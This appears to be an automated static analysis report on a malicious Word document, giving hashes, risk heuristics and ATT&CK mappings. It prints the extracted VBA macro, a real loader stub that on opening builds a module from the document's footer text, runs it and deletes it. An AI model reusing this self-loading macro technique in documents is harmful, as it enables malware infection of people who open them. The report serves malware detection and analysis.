Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f1ed0a24b20b7f3…

MALICIOUS

Office (OLE)

43.0 KB Created: 2017-11-23 16:00:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 0924fa96992a9292cabdb1bf4888b3f6 SHA-1: 40ed9ba6cafdbdf6552b4052f0ca1a03c6d3f4ed SHA-256: 6f1ed0a24b20b7f3fa7e9b3227c65c0be55a5b10d380839b2f6d8679e3a9270b
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. The Auto_Open macro dynamically adds a new module to the document's VBA project and executes a function named 'VeybC' from it. This technique is commonly used to obfuscate malicious code and download/execute further stages. The presence of CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread API calls further supports the payload execution intent.

Heuristics 9

  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    Dim hkpdJ As Object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 682 bytes
SHA-256: 7c1065a3c83f234d4c7a03dc291ce9346da78ae83e862c1074a0f8da5c1d06b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    Dim hkpdJ As Object
    Set hkpdJ = ActiveDocument.VBProject.VBComponents.Add(1)
    hkpdJ.CodeModule.AddFromString ActiveDocument.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text
    Application.Run hkpdJ.Name & ".VeybC"
    ActiveDocument.VBProject.VBComponents.Remove hkpdJ
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

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